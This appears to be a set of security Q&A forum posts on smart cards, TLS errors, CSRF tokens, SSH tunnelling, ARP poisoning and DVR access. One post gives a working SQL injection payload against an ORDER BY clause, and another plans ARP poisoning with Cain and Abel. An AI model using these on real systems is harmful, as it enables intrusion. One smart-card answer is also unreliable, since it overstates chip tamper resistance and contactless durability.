What makes a secure smartcard secure? Is contactless/RFID  better? In short what security features exist that I should look for in a smart card?

What physical features exist, which are important?

It appears smart cards may exhibit different levels of wear and tear from normal use, or that of harsh environments, or keeping it in a wallet.  Ultimately this usage may cause card failure.
Is the card resistant to acid attacks to expose the inner chip?
Are there electrical characteristics that prevent deducing the private key through the timing of the signal?
If contactless, can the RFID be shut off for privacy & security reasons?

What logical security features exist, which are important?

How many times was the private key accessed?

Smart card are based on standards defined for hardware and the software (operating system) residing in them. There are many standards which defines the hardware features. You can read through some smart card topics in net for hardware interface and design of an smart card.

In short I will try to give some answers below:

The contactless cards are better than the contact ones as they don't have to go through wear and tear life cycle. The life span of the card is dependent on the number of read and write cycles only.
Even if the card chip or hardware gets damaged cause of acid attacks, it can destroy the card but will never let some one to extract data like keys etc. Data loss is possible but not data theft
A smart card design standard have to implement some time based logics and some advanced techniques to ensure that the private key operations take some fixed time for operations. There are some security embedded in the crypto processor and some implemented in the OS (like unnecessary for loops) to counter the timing attacks. Modern smart cards contains logic to thwart the timing attacks wherein an external device sense the electromagnetic pulse generated around the smart card in the event of RSA operation to estimate the key involved in the operation.
RFID or other modes of contactless protocols cannot be shut for privacy reason. The implementation can have mutual authentication protocol which will let the smart card OS first validate the authenticity of the terminal before engaging on the business operations like select Key and Sign operations.

Smart card are very much secured (In fact most secured element present to my knowledge); but like any other security infra, the real security depends on how the card was initialized, the operation of issuance of card, the standard followed etc.


HandShake TLS- Certificate Unknown I have added the necessary certificates to communicate a web service by TLS, both the client and the server added the certificates to the keystore, but in the handshake, certificate unknown is returned.

SSL Conversation:

Is initial handshake: true
....
*** ClientHello, TLSv1
*** ServerHello, TLSv1

*** Certificate chain
[ chain [0] = [
[
  Version: V3
  Subject: CN=certificate_server, OU=163831, O=groupc Inc., C=US
  Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5

  Key:  IBMJCE RSA Public Key:
modulus:
... more data
public exponent:
65537

  Validity: [From: Mon Apr 03 10:43:20 CDT 2017,
               To: Wed Apr 03 09:43:20 CST 2019]
  Issuer: CN=Internal DeviceCA Untrusted, DC=nsroot, DC=net
  SerialNumber: [110855813xxxxxxxxxxxxxxx]
Certificate Extensions: 10

Found trusted certificate:

 *** CertificateRequest
 Cert Types: RSA, DSS
 Cert Authorities:
 ....

 *** ServerHelloDone

 ** Certificate chain
[  O chain [0] = [
[
  Version: V3
  Subject: CN=certificateClient, OU=55552, O=groupc Inc., C=US
  Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11

  Key:  IBMJCE RSA Public Key:
modulus:
.... more data
public exponent:
65537

  Validity: [From: Tue Aug 08 16:26:27 CDT 2017,
               To: Thu Aug 08 16:26:27 CDT 2019]
  Issuer: CN=Device CA1 G2 DEV, O=groupc Inc., C=US
  SerialNumber: [23415xxxxxxxxxxxxxxxxxxxxxxx]

Certificate Extensions: 10

*** CertificateVerify

*** Finished
 verify_data:  { 101, 203, 80, 212, 246, 137, 144, 225, 31, 134, 63, 46 }
 ***

 READ: TLSv1 Alert, length = 2
 3, RECV TLSv1 ALERT:  fatal, certificate_unknown
 3 fatal: engine already closed.  Rethrowing javax.net.ssl.SSLException: Received fatal alert: certificate_unknown

And list the keystore to see the keys and are the required, in the server are also the certificates.

Is there a way to know which certificate is unknown? or compare the courted string between the client and the server?

It looks like that the debug output is made on the client side. In this case

3, RECV TLSv1 ALERT:  fatal, certificate_unknown

means that the client received an TLS alert from the server which means that the server did not like the certificate the client has send, i.e. the client certificate:

Validity: [From: Tue Aug 08 16:26:27 CDT 2017,
           To: Thu Aug 08 16:26:27 CDT 2019]
Issuer: CN=Device CA1 G2 DEV, O=groupc Inc., C=US
SerialNumber: [23415xxxxxxxxxxxxxxxxxxxxxxx]

But, the neither the debug output nor any packet capture contains information on why the server did not like the certificate. The TLS alert only contains the information certificate_unknown only without any details.

It might be that it was not issued by a CA trusted by the server for client certificate validation, that intermediate CA's are missing, that the subject is wrong etc. Maybe you can get more information about this at some logs at the server side.


What's a file format that is user-friendly and text-friendly but _largely_ non-editable? Recently, I'm coming across more and more places that use PDF files as a non-editable format to ensure that the data in it is not altered in any form. (Whether that is a good idea or not is another question altogether -- the general public "understand" PDF and know how to generate them easily from systems.)

However, what I'm having trouble with is coercing it into a text-friendly and parseable format that allows for analysis of the data in the PDF. pdftotext goes a long way, but there's almost always one small problem with its output that makes it a non-ideal solution.

Are there any solutions to this dilemma? What's a text-friendly file format that can be reasonably assured to be the original output from some software (without going through the hoops of signatures and encryption) that a layman would be able to open up and read easily?

Note: I'm well aware that all formats are editable, but it's not so readily apparent to the average user i.e. they would probably not know how to edit a PDF without some searching. Also, I'm not advocating for this, I'm just curious as to whether a text-friendlier format exists. I'm not going to be able to get a whole lot of people to understand what file signatures are, let alone generate them properly.

There is no file format which can prevent editing. It can only make it harder to do edits because writing an editor is too complex. This was the case with PDF but now there are enough editors for PDF already out there. Thus, to prevent easy editing you would need a complex and hard to understand format - exactly what you don't want. If you have a simple format then it will also be easy to write editors for it.

Instead of making sure that it is too hard to edit the data you should better find a way to detect such edits. And by separating the content from the protection you can create a format which is both easy to read and hard to manipulate undetected.

A common way to do this is to use digital signatures. Any signatures embedded in the file can simply be skipped by a human reader or when processed by a script. And such signatures can also be detached in separate files which makes it possible to add signatures to any file format.

Depending on the requirements for protection and usability when creating the document different qualities of signatures can be used. In the simplest case signature might just be a HMAC with the necessary secret key embedded into the application which creates the files. In this case this application itself must be secret or the key somehow protected against reverse engineering. Better protection is offered by author specific keys, use of smart cards etc but this might be too complex for your only vague defined use case.


Discovered someone else's huge data breach, what should I do? I bought an old Apple Xserve on ebay. The seller was a used computer reseller, not the original owner of the server/data. The server's hard drives were wiped and had no OS on them, but they did have one odd named folder.

Turns out that folder contains all of the financial and HR data for a large 100-200 person company. It has EVERYTHING you could ever hope to NOT leak. Social security numbers, names, addresses, numbers, salaries, emergency contact info, even personnel photos. It even had the W-9's from their independent contractors. This hurt as I am an independent contractor and I've given my W-9s to many companies. Who knows how well those companies protect my data. (W-9's often have social security numbers on them)

All of the files had dates from 2012 and older. I bought the server/drive in early 2018. So for 6 years, who knows where this data was. But 2012 is when it came out of service. Also the Server was a 2009 Xserve but the drive carrier was from a G5 (2005) Xserve. Which means its fairly likely that this drive did not come with this server. Whether this switch was done at the company, or whether the reseller just grabbed boxes of drives and stuck them in whatever computers needed them, who knows.

I replaced the drives with new ones, which I was going to do anyway, and now the server is off in service for me. But the original drives are sitting on my desk. I still don't know what to do with them. I tried contacting the company twice but I never heard back.

If I do hear back, I suspect what they will do is either tell me to destroy them, or have me send them back to them and then they will destroy them... and do nothing else. What they SHOULD be doing is firing their 2012 IT department if any of them still work there, and notify all pre-2013 employees that their data has been breached.

I am certainly not trying to hold these drives hostage. That said, being completely honest, if they offered me a "reward" for returning it, I certainly would accept. But they won't even acknowledge this situation. I'm getting sick of looking at these drives on my desk. I was thinking of contacting them on facebook, since that's all the rage these days when it comes to getting a response from a company.

If there are security experts here, I'd love to hear what you think about this situation.

Also, just as a hypothetical, I am NOT going to do this. But I'm curious. Since I bought the drive, and since they aren't getting back to me, could I legally throw the drive back on ebay, and say the previous owner never erased it and it's filled with ~150GB of personal/professional data? And let sketchy people bid it up to some crazy amount of money. Again, I AM NOT GOING TO DO THIS, I'm just wondering if I could.

I'm not going to name the company publicly. But they are ironically, a "Branding" company that works with other very large companies. How funny is that :P

To answer your question: what should I do?

There are two ways to handle this:

1st way:

Destroy the drives securely.
Forget about it.

2nd way:

Contact the general hotline during business hours and ask for the CISO (Chief Information Security Officer) or a proxy. If they are not available ask for the compliance department or in this case probably a person in charge of compliance. If you are still out of luck ask for the legal department.
Explain the situation to them. Tell them that you want to cooperate and that you do not have any copies of the drives. Make an appointment to hand the drives over to them.
Hope for the best.

The 2nd way can have some unwanted ramifications for you. A lot of companies like to shift blame for security fails to those who make them visible. If the drives were stolen you could - depending on the legal situation of your state - become part of an official law enforcement investigation. Handling and accessing stolen goods is illegal in some places as well, so speaking to a lawyer first might be a good idea as well. If the drives were disposed in a disorderly fashion, it will reflect even worse on the company in question. It is somewhat likely that they will lash out at you. You should prepare for that, if you go for the 2nd way.

But: if I were the CISO in this company I would hope that you would go for the 2nd way nevertheless and the overwhelming majority of people I know that work in infosec would want you to do the same. Because only then shortcomings like wrong disposal of devices are visible to the information security management and only then the controls that are in place can be reviewed and remedied.


How to use login details to make a key for AES encryption and decryption I have recently starting looking into AES encryption for a side project. I am researching this till now so if there is something wrong about my concept please correct it.

According to me If i want to encrypt something in AES I have to encrypt it by a 128bit key which The user must preserve for encryption and decryption of data.

Two options that I by now came to know after my research are PBKDF2 and bcrypt I am still to try implementation. so, I thought of asking here first.

So for my project I have two options that I generate that key and tell user to preserve that key which will be my plan B. I wanted to generate a key using user login details which will be generated every time user logins he can use that key for encryption and decryption.

But I cannot figure out a way to convert credentials into 128bit key.

Thank you for any support. I possible can anyone please refer some resources for learning about AES more.

As in the question use a key derivation function such as PBKDF2 or better yet if available Argon2.

Just feed in the login credentials along with a random value, the random value can be saved with the credentials, it just ensures that the same credential from another user will not produce the same key. The key derivation function will provide the key of the appropriate size.

But keep in mind that getting encryption correct (secure) is hard, if this is a real project get your scheme and code reviewed by a seasoned crypto expert.


Sniffing TLS/SSL communication with Wireshark, possible? I am trying to snif a SSL/TLS communication and thought about doing it with Wireshark. I've tried to do it and sniffed some with TLSv1.2 protocols, is that the communication? If so, how do I identify and show the messages?

Thanks

Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic, and therefore, can also be used to decrypt using Wireshark.

Here is a link that explains how to do this in detail and with ease: Decrypt Browser Traffic with Wireshark

  If so, how do I identify and show the messages?

Simply filter your results (assuming you are able to decrypt at this point).


Nikto: this might be interesting... file redirects What does Nikto's "this could be interesting" log mean?

It identified a file (say, admin.html) as potentially interesting. However, when I wget or attempt to access this file in a browser, it just redirects me to the index.

How does Nikto find these files in the first place? Is it possible to see the GET request that found them? How can I access these files?

Looking at the relevant section of source code:

# request by hostname
my ($res, $content, $error, $request, $response) = nfetch($mark, "/$file", "HEAD", "", "", "", "sitefiles");

if (($res == 200) && (!is_404("/$file", $content, $res, $response->{'location'})) &&
  ($content !~ /<html/i) && ($response->{'content-type'} ne 'text/html')) {
    add_vulnerability($mark, "/$file: Potentially interesting archive/cert file found.", 740001, 0, "HEAD", "/$file", $request, $response);
}

# request by ip
($res, $content, $error, $request, $response) = nfetch($mark, "/$file", "HEAD", "", "", \%flags, "sitefiles");
if (($res == 200) && (!is_404("/$file", $content, $res, $response->{'location'})) &&
  ($content !~ /<html/i) && ($response->{'content-type'} ne 'text/html')) {
    add_vulnerability($mark, "/$file: Potentially interesting archive/cert file found. (NOTE: requested by IP address).", 740002, 0, "HEAD", "/file", $request, $response);
}

We can see that a file is marked as "potentially interesting" if a HTTP HEAD request

returns 200 OK
doesn't return 404 Not Found
returns content without HTML
returns a Content-Type header without a value of text/html


Is ensuring that a random string in a cookie and a header are the same enough to protect against XSRF? In a cookie-to-header scheme of sending the xsrf/csrf tokens, the server sets a cryptographically secure pseudo-random number as a cookie in the client's machine. The java script code on the client machine is expected to read this code from the cookie thus ensuring vis-a-vis the same origin policy of the browser that the script is from the same page as the token. The script then takes the token and adds it to the http request header by the name xsrf-token or something like that.

Meanwhile the server is supposed to keep a persistent record of the issued xsrf token. When the request arrives, it takes the token from the header, matches it against the one on record, if it's matches, we're in!

Now here's where my confusion starts. Since we are storing the information in the cookie it will inevitably be send with each request to the server when the http request is made. So, on the server end we have not only one but two copies of the same information. Why can't we just match one with the other and accept the validity of the request? Isn't this whole exercise worthwhile only because we trust the browser to perform its cross origin checks. Do we not trust cookies? To my naive self at least this seems like something that could work. I could be egregiously wrong of course, and I'd rely on you to call me out in case I am missing out on some basic.

I am assuming I am missing something. So here's the scheme I am currently implementing for my site. I am using JWT tokens to establish and secure user identity in an httponly cookie. What I am proposing is, I issue a separate JWT token (containing only a pseudo random number) signed by a completely different key and store it in a session cookie. The client side code reads it, sends it in the header. The server reads the cookie and header field and sees that they are the same. Then the server authenticates the JWT token and sees that it was indeed signed by the key in the server.

My question to you is, can this work? By this I don't mean only the one involving the JWT tokens. I also mean the one without any sort of check to verify that the server was the issuer i.e. the one with only a pseudo-random number and only single check to match with the cookie. Any constructive suggestion is welcome, including informing me on how I am being an outright idiot. What are some vulnerabilities that are in this scheme? Is there potential to further investigate this? Is this a sufficiently good scheme to protect against CSRF?

Yes, the system you describe - just comparing a cookie value with a header value - is a fully functional CSRF defence. In fact, it even has a name: double submit cookie. It's a great way to do anti-CSRF when you don't want to keep server state. Note that you don't need a JWT for this. Any cryptographically secure random number will do.

So why not always do this? Why ever bother with saving a random token in a session, when you can just have the client do all the heavy lifting? Perhaps double submit cookies are somewhat more prone to implementation errors (e.g. what happends if both are empty, loose typing issues, etc.). But I think the main reasone is that the ordinary token is just simpler to understand. The server keeps a secret that the attacker does not know. The workings of the double submit is conceptually more difficult to understand.


Does re-authenticating to apps on an unlocked phone really make an app more secure? Several apps on my iPhone X including LastPass, and iCloud passwords prompt me for my Face ID before allowing me to use them. I guess the idea is that someone could accidentally take my unlocked phone and access my personal information.

How likely is this in reality given that the phone has a short inactivity timer? Are there any examples of someone being mugged while using their phone, and the mugger kept it unlocked long enough to commit further fraud, etc?

The short answer is emphatically "yes". Theft of phones, while someone is using them, is well-documented. Often thieves use bikes or mopeds.

Here are my top Google hits for the phrase "snatching phone" (results are geo-located to UK sources). I'm not sure if it is an official phrase.

https://www.met.police.uk/cp/crime-prevention/personal-robbery/protect-your-mobile-phone-against-criminals-on-bikes-and-mopeds/
https://www.cnet.com/g00/news/when-your-phone-gets-snatched-a-survival-guide/?i10c.ua=1&i10c.encReferrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%3d&i10c.dv=17
https://www.ucl.ac.uk/students/news/2019/jul/phone-snatching-how-avoid-it
https://www.independent.co.uk/student/student-life/it-could-happen-to-you-how-to-protect-yourself-from-phone-snatchers-9166322.html


What is the niche that Kerberos authentication fills called? Keberos authentication is a bit of a top down concept.  I'm working my way up to it from the bottom learning from the bottom up.  It seems to me that Keberos authentication can be thought of as a glue between systems, so that you can authenticate from a single server for all the services / systems within a domain and don't have to store all of your login information multiple times.  This isn't an easy concept to come across when you're working your way up from some low level like say....programming...

So what is this "area" between systems where Kerberos lives called?

You might be thinking of a realm:

  A Kerberos realm is a set of managed nodes that share the same Kerberos database. The Kerberos database resides on the Kerberos master computer system, which should be kept in a physically secure room. A read-only copy of the Kerberos database might also reside on other Kerberos computer systems.

(Source.)

On Windows, Kerberos usually works within domains:

  A domain is defined as a logical group of network objects (computers, users, devices) that share the same Active Directory database.

(Wikipedia source.)


Is frame busting javascript required despite x-frame-options I am using x-frame-options sameorigin header to prevent some of my websites from being loaded in iframes. Is this a foolproof method to prevent iframe loading?
There have been several old threads on stackoverflow that discuss employing frame busing javascript code. One example being:
if(top.location!=location)
top.location=self.location;

Given that almost all browsers now support x-frame-options, should  I still employ the frame busting code alongside? For example, can an attacker somehow bypass the x-frame-options?

There's really no need for framebusting script now, no. In fact, at this point even X-Frame-Options is kind of legacy; the thing you keep around in case somebody is still using IE, but not the primary protection. That should be the new CSP frame-ancestors rule, which is both better-standardized than XFO and more customizable than (the common implementation of) XFO. XFO is supported even on browsers from 11 years ago, so old they only run on operating systems already went out of support themselves. Nobody should be unable to use it, not for the usual "sameorigin" or "deny" values.
Framebusting script was also never perfectly reliable. The number of people who browse with strict NoScript or similar probably exceeds the number the number who use browsers that don't support XFO, even though script is pretty essential to the modern web. These days, if I wanted to get around framebusting code, that's easy - iframe with the sandbox attribute blocks script inside the frame - whereas there's no way for an attacker to disable XFO (or CSP) unless the page is served over plain-text HTTP and the attacker has a man-in-the-middle position on the network.


Should domains which only make redirects (aka tiny urls) be encrypted (https)? For this question I will use the following domains:

example.com - an online shop
exmpl.com - a domain which is used for sharing items.

exmpl.com will be used for redirects (e.g. http://exmpl.com/foo will redirect to https://example.com/items/42).

I have the following questions:

How important is it that exmpl.com should be encrypted?
Does it matter at all if it has https or only http?
Of course, if it doesn't have https, one who attempts to access https://exmpl.com will not be able to do so, but are there any side effects?
On the other side, why would a company prefer to support only http in this context?

Should redirect sites use HTTPS

If the main site uses HTTPS then the redirect site should too.

What attacks are possible if it does not

Passive Attacker

Can see every item looked at by the user
May get extra information (which site/chat linked to the page)

Active Attacker

Anything a passive attacker can, and...

Can MITM the connection and use something like SSLStrip to prevent the connection upgrading to HTTPS, allowing then to watch passwords, credit card numbers, etc.
Can add a cookie to the reply, allowing them to track a user
Can redirect the traffic to a phishing site, or a site that installs malware.

How to prevent using HTTP entirely, to stop tools like SSLStrip

You can serve an HSTS header, so only the first visit (and the first visit once the header expires) will use HTTP, so an attacker cannot intercept the traffic
If you with to prevent these weaknesses you can add your site to the HSTS Preload List, which will prevent HTTP connections.
This would need to apply for both sites, as if the main site is HSTS but the redirect then the attacker could redirect to a site they control instead, bypassing HSTS.

Should I use HTTPS

Generally, YES

There are very few occasions when you can get away with not using HTTPS, all of these need to apply:

You manually sign your data - and always verify the signature
You do not care about people finding out your software is running on someone's machine
You do not handle any sensitive information, or information users may want to keep secret
You won't accidentally get sensitive information sent over your system

An example would be ACARS, it's wasn't meant for sensitive information, but credit card numbers have been sent over it without realising the problems caused. [forum, paper]

You do not care or can detect if someone swaps around the files, using other valid signed ones
The service does not imply sensitive data (a page about a disease may not be sensitive, but the fact that someone is searching about the disease may be sensitive).


Security of access to local network via VNC over SSH tunnel I've just set up a Raspberry Pi 2 with the latest raspbian and installed some services.

For remote access I've installed tightvnc server which I set up to only allow connections from localhost. I can still access it remotely by first starting a SSH connection which opens a tunnel to the used port (e.g. via putty, or from linux with the command ssh pi@10.0.0.1 -L 5901:localhost:5901).

I only opened my firewall for SSH, (S)FTP and HTTPS to the raspberry pi but obviously can access everything within the local network either from a SSH connection or from within the VNC connection to the Pi.

I can even access my local windows machines by opening a VNC/RDP connection from within a Pi VNC session and I'm thinking about enabling wake-on-lan on local devices so that I could even boot them from everywhere.

This access to the local network is pretty convenient but actually there's no real need for it so I'm asking myself (and you...) if I just opened up a big security whole.

What I actually would like to know:

Is remote SSH access to the Pi considered secure? I pretty much need this so I'd really don't like to disable it. It's kind of a must have...
Is access of VNC services on the Pi over the SSH tunnel an additional security risk or doesn't it make any difference when I'm already opening SSH access? More or less a nice to have...
Is access to my local network (via SSH or VNC on the Pi) an additional security risk? How could I prevent it without completely blocking remote connections to the Pi? This is strictly a nice to have...

I'd really appreciate opinions to those questions!

Thanks & best regards

Ps: I'm talking about a private network so there's no company data at risk but I still don't want to open security vulnerabilities for some nice to have features...

The SSH access is secure provided

your environment (client, server) is patched
the password you use is good enough (= long and random enough)
or better yet, you use keys

Then, whatever goes through that tunnel is secure

from an "services visibility" perspective (= is someone able to get to my VNC?) because it is exposed only via the ssh tunnel which must first be set up
and from a confidentiality one (= is someone able to snoop on my traffic?), becauise ssh encrypts the traffic

Exposing only an up-to-date ssh service, authenticating with keys and running all subsequent services only via the tunnel is a very good security setup.

Alternatively you could use a VPN (OpenVPN for instance) but this is more complicated to set up and probably not worth the added value in your case (one or two specific services).


ARP poisoning attack consequences For testing purposes, I want to apply promiscuous mode in Wireshark to capture traffic not sent to me.

For this, I believe there is the need to poison the ARP table in the switch so that the attacker (me) gets all the requests.

Assume the switch used was a cheap commercial switch and the poisouning indeed took place and was not detected and the table was messed up.

Does this have any further consequences? Will the entire network (around 15 wired devices) have a lag to the internet or so? Can I put the table back to its place ?

I will carry the attack using Cain and Abel for Windows.

I repeat again, this will be done on my own network for testing purposes.

Update: As hinted by immibis, the switches do not have an ARP table but rather a Forwarding table. There is apparently a naming misconception going on, where ARP in its literally sense, happens inside the computer or the machine creating the frame, because it needs the MAC address of the target machine it needs to send the frame to.

First, in order to get all the request you'll need to poision the clients too - if you'll poision only the switch, you'll get only the answer to the requests. Because the client will transfer the request to the switch and the switch will transfer further.

Second, a lag will occur as you add another node in the transport link (actually it's more than 1).

Third, afaik there wouldn't be any other consequences besides lagging.

Fourth, the table will get back after you stop poisioning - the client will try to request, see that there is no response and will start ARPing.


Why do I need to setup VPN on my router to protect a DVR from outside access? I am being recommended to setup a VPN on the router that will connect a DVR to the internet so that I can monitor it remotely. The idea is that by doing this VPN setup it would be harder for an unauthorized party to gain access to the DVR. However I couldn't find any explanation as to why - what does a VPN router do to protect the DVR?

As SmokeDispenser already explained, most consumer-grade and enterprise routers and firewalls have such default settings (UPNP disabled, no port on the Internet interface forwarded to a LAN IP address, etc) that will not allow devices connected on the LAN side to be accessed from the Internet side.

So, which options do you have when you need to access a device on the LAN from the Internet side? As you already know...

You could make static NAT configurations in the router or firewall in order to forward all needed ports on the Internet interface towards ports needed in the LAN device you need to connect to
You could configure a VPN on the router or firewall that connects to the Internet so that when you connect to the VPN you can access the resources connected in the LAN side.

Option 1 is more straightforward and can be easily accomplished even with the most simple home routers. But it also has several disadvantages:

You have to know in advance which ports are required by the application you are trying to use when connecting to the LAN device and then forward all of them. For instance, working with DVRs I have found a few models that need port TCP/80 (HTTP) and TCP/554 (RTSP) forwarded to be able to login and watch the composite of cameras connected to the DVR.
All forwarded ports will be accesible from Internet and therefore exposed to port scaners, vulnerability scanners, exploitation attempts etc. That means all forwarded ports will be part of the attack surface an attacker could use. In worst cases, I have seen scenarios where all ports in the Internet interface have been forwarded to a given device in the LAN, exposing to Internet not only the minimum required ports to work but also the management interfaces and unexpected services.
There are limitations if you need to access the same port on two different LAN devices. Lets say your LAN hosts two devices A and B needing port TCP/80. If your forward port TCP/80 on the Internet side to device A then you can not get TCP/80 on the Internet side forwarded to device B and you will need a different port, lets say TCP/81, forwarded to TCP/80 of device B. This can sometimes complicate the setup.
By using NAT, any security for the traffic will have to be provided by the application. If this is not the case, any intermediate element between client and the server would be able to eavesdrop on the traffic. Let´s say the DVR has only HTTP login interface but not HTTPS. Login credential will be carried unencrypted through the Internet and event the video streams will be carried unencrytped if the application does not care itself about the encryption.

Option 2 is usually harder as it requires understanding of most advanced networking concepts, some cryptography background and even may require specific hardware. That´s why its usually not as common as NAT in home or small business environments. But it has several advantages from the security point of view:

If the VPN is set up in the router or firewall connecting to internet there is no need to forward ports and any application on the LAN side will be accesible as soon as you connect to the VPN, even using the same port on different LAN devices (which was problematic to accomplish with NAT) If the VPN is set up in a DMZ or LAN device, you only need to forward the ports needed to establish the VPN. For instance, OpenVPN would only need UDP/1194 and IPsec would only need UDP/500 and UDP/4500. This way, forwarding only one or two ports you can establish the VPN and then access any application on the LAN side. This would usually need much more ports to be forwarded if using NAT. So you can see that attack surface is smaller when using VPN
The software running the VPN is usually designed with security in mind, so even if exposed to its own vulnerabilities, in average the number of vulnerabilities in this software will be lower than in general purpose software such as a web or e-mail server.
Since VPNs leverage cryptography, traffic between the VPN client on the internet and the router/firewall will be encrypted even if the application traffic is not encrypted by the application itself (i.e.HTTP). You can not obtain this additional protection at all using NAT.
VPN do require authentication in order to connect to it. This allows tracking connections of legitimate users and also prevents unauthorized users from even reaching the any port on the LAN side. Again, this can not be accomplished by using NAT: if you forward port TCP/80 anyone can connect to it, what allows credential bruteforcing attempts, exploitation attempts, etc.

Taking into account this comparison of NAT vs VPN, I would always recommend using VPN whenever LAN resources need to be accessed from the Internet only by authorized users.


Will this auth scheme be secure and protect user passwords/hashes? I am working on a website with accounts and I want a login scheme that does not expose users' passwords or hashes in the event of a total security failure. I would greatly appreciate some feedback on this authentication scheme:

Client retrieves auth challenge from server
Password is hashed to 32 byte integer on client
Integer is used to create a keypair, PK, using static keypair generator
Temporary session key is generated, SK
Challenge is signed with PK
SK.public and challenge signature are encrypted with PK.private and server public key
Cipher is sent to server with username
Server decrypts cipher using associated public key for username, checks challenge signature and allows SK.public to be used for x time

Edit: I'm a fool, this doesn't add any level of security. If the generator is static then it literally has no advantage over a hash. This one was super obvious and I should have caught it, but it's still a good reminder not to try to make new protocols unless you really know what you're doing.

Authentication Guidance

OWASP has a Password Storage Cheat Sheet with some excellent guidance on hashing schemes, and the background theory of how they keep the passwords safe. There's also a section covering the piece you seem most concerned about - protecting a user's account in the case of an eventual compromise.

For further reading, Troy Hunt has an article - Passwords Evolved: Authentication Guidance for the Modern Era - that summarizes recent update to government publications on the topic, including NIST Special Publication 800-63 - Digital Identity Guidelines.

Don't Re-Invent the Wheel

It sounds like you are trying to invent something completely new. I would recommend sticking to things that are proven. The above resources should help with that.

It's not that I see anything inherently wrong with your suggestion. I'm not a mathematician or cryptographer myself, so I wouldn't claim to have the expertise to certify your scheme as secure. It just seems like you're doing a lot of extra work, to come up with and implement a non-standard solution, which may actually make it more vulnerable in the end.

Non-standard schemes also have the disadvantage of being harder to maintain as people come on who are not aware of the details of how your scheme was constructed, what factors make it secure, and may make changes that poke holes in your security model.

Lastly, as software developers, we're usually not paid to do security research and invent new encryption or authentication schemes. Our clients or employers pay us to make measurable improvements in the state-of-the-art for their specific domain. This is just my opinion, but when it comes to implementing authentication, it would be almost negligent not to follow the guidance provided by the organizations like NIST, OWASP, and the security teams at the vendors who produce the software and libraries we use (Microsoft, IBM, Oracle, etc).


Separate SSL certs on CloudFront and Heroku? I find SSL real confusing, but anyways.
For my frontend static website, I host on S3 and distribute using CF. I just use something simple like comodo SSL to generate an SSL cert and then go through the AWS ACM process to import the cert. All good.
But I realized all my API requests of course go to a Node.js server running somewhere else in the world on Heroku (ok, probably they host on AWS somewhere :P). So with my domain name being www.domain.com and SSL certified, pointing to d12345.cloudfront.net, and API requests hitting myapp.heroku.com, do I get a separate SSL on Heroku? Heroku has a tempting auto SSL feature for paid dynos, but I don't get if I need it or if I use my existing one for www.domain.com.

A server certificate is used to authenticate the target of the current request. This means that when accessing www.example.com the client expects to get a certificate valid for www.example.com. When accessing example.cloudfront.net the client expects to get a certificate valid for example.cloudfront.net.
The context of the request does not matter, i.e.  if the request for example.cloudfront.net was caused by an XHR from the site served by www.example.com. All what matters is the target of the current request (example.cloudfront.net).
One could have a certificate which is valid for several targets at the same time (i.e. includes both www.example.com and example.cloudfront.net). But this requires that one actually owns and manages all these domains. In case of example.cloudfront.net or example.heroku.com this is not the case since these are owned and managed by third parties.


Why do I need an space at the end for this SQL Injection to work? This is the vulnerable code:

$order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : '';
if (stripos($order, 'benchmark') !== false) die;
${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : ""));

escape_string doesn't filter backticks, so a possible payload could be

 winner`--

So the final url would be like https://vuln-app/?order0=winner`--
It doesn't work unless I add a space at the end like this:
https://vuln-app/?order0=winner`--%20
I saw this happen on multiple occasions, yet I still don't understand the reason.
I would truly appreciate if someone could shed light on the underlying reason behind why this space is needed and what it does.
Thanks a lot.

According to the MySQL documentation, MySQL requires at least one whitespace character after the double dash for it to be registered as a comment.


Symmetric Key Cryptography vs Public Key Cryptography I understand what the two are so need to go into detail about that, however what I'm curious about is in what kind of situations would we use one over the other? It feels to me as if Public Key Cryptography is just safer and always more secure than Symmetric Key Cryptography.

Thanks for any help.

Public key cryptography is for when there are several distinct entites, i.e. he who decrypts is not the same person than he who encrypts; similarly, when we want people to be able to verify signatures without granting them the technical power to produce signatures of their own.

Public key cryptography is not inherently "more secure" or "less secure" than symmetric key cryptography; public key cryptography does things that symmetric key cryptography cannot do (the "entity separation"), but it does so at a hefty price (more maths, more code, more complexity, bigger objects, more CPU). Moreover, there are things which symmetric cryptography does much better than public key cryptography, in particular managing bulk data (RSA encryption is good for 100 bytes, not for 100 gigabytes).


Does any malware target Tails? Tails is not a popular OS and is optimized for security, which makes me doubt there is a significant amount of malware that targets it. I googled "malware targeting tails," and found no relevant results.

Does any malware target Tails? The most literal answer has to be yes, because I have written malware for Tails (it requires manual installation as root, but it is still technically malware). I'm sure other people have as well. I have not come across any malware targeted specifically for Tails in the wild, though.

You also have to take into account the fact that Tails is just highly customized Debian, which itself is just GNU/Linux, so the question becomes "Is there any malware which targets GNU/Linux, which is compatible with Tails out of the box?". For example, the "torsploit" attack which exploited an outdated version of Tor Browser may have been able to attack Tails, however the Tails firewall was able to block it. It simply was not compatible with Tails, because it was designed for a generic system without all of the protections Tails had in place. Does this mean that this malware hit Tails? Yes. Does it mean it succeeded in its goal to call home and deanonymize the user? No.

In general, there will likely be little general-purpose malware which is effective against Tails. If you are foolish enough to run a Perl botnet script, you may see your Tails machine connecting to a malicious IRC network to participate in a DDoS. However, it is still possible to target malware toward Tails. The attacker may have to chain a number of 0days, or may have to exploit a number of known bugs in a clever way, but it's certainly possible.

My educated guess is yes, there is malware designed by state-level adversaries which specifically targets Tails, most likely deployed in combination with a warrant and used sparingly against high value targets. Most likely it involves either social engineering, or targeting outdated versions of the operating system.


What's the purpose of DH Parameters? For a Diffie–Hellman (D-H) key exchange (TLS) the server generates a prime p and a generator g, which is a primitive root modulo p.

When setting up a webserver with SSL/TLS (e.g. nginx) one can use a directive ssl_dhparam dhparam4096.pem
The dhparam4096.pem file can be generated using openssl dhparam -out dhparam4096.pem 4096

What exactly is the purpose of these D-H Parameters?
Can they be public? (i.e. can I publish my dhparam4096.pem file?)

Here are the contents of my dhparam4096.pem file:
That seems to be a hexadecimal representation of a 4096bit integer, is that correct?

-----BEGIN DH PARAMETERS-----
MIICCAKCAgEAsb8mBiOtYJZ3XR7f/rCXQwpAAnUPXf7l9pwjYxxy30A7rIzMTrsz
bXuhhEmzroJcDqKbu2nIzOBNO6HuyQ3n9x/ZbY5kiEt6q7UrB5jC9LwyPASZhd/F
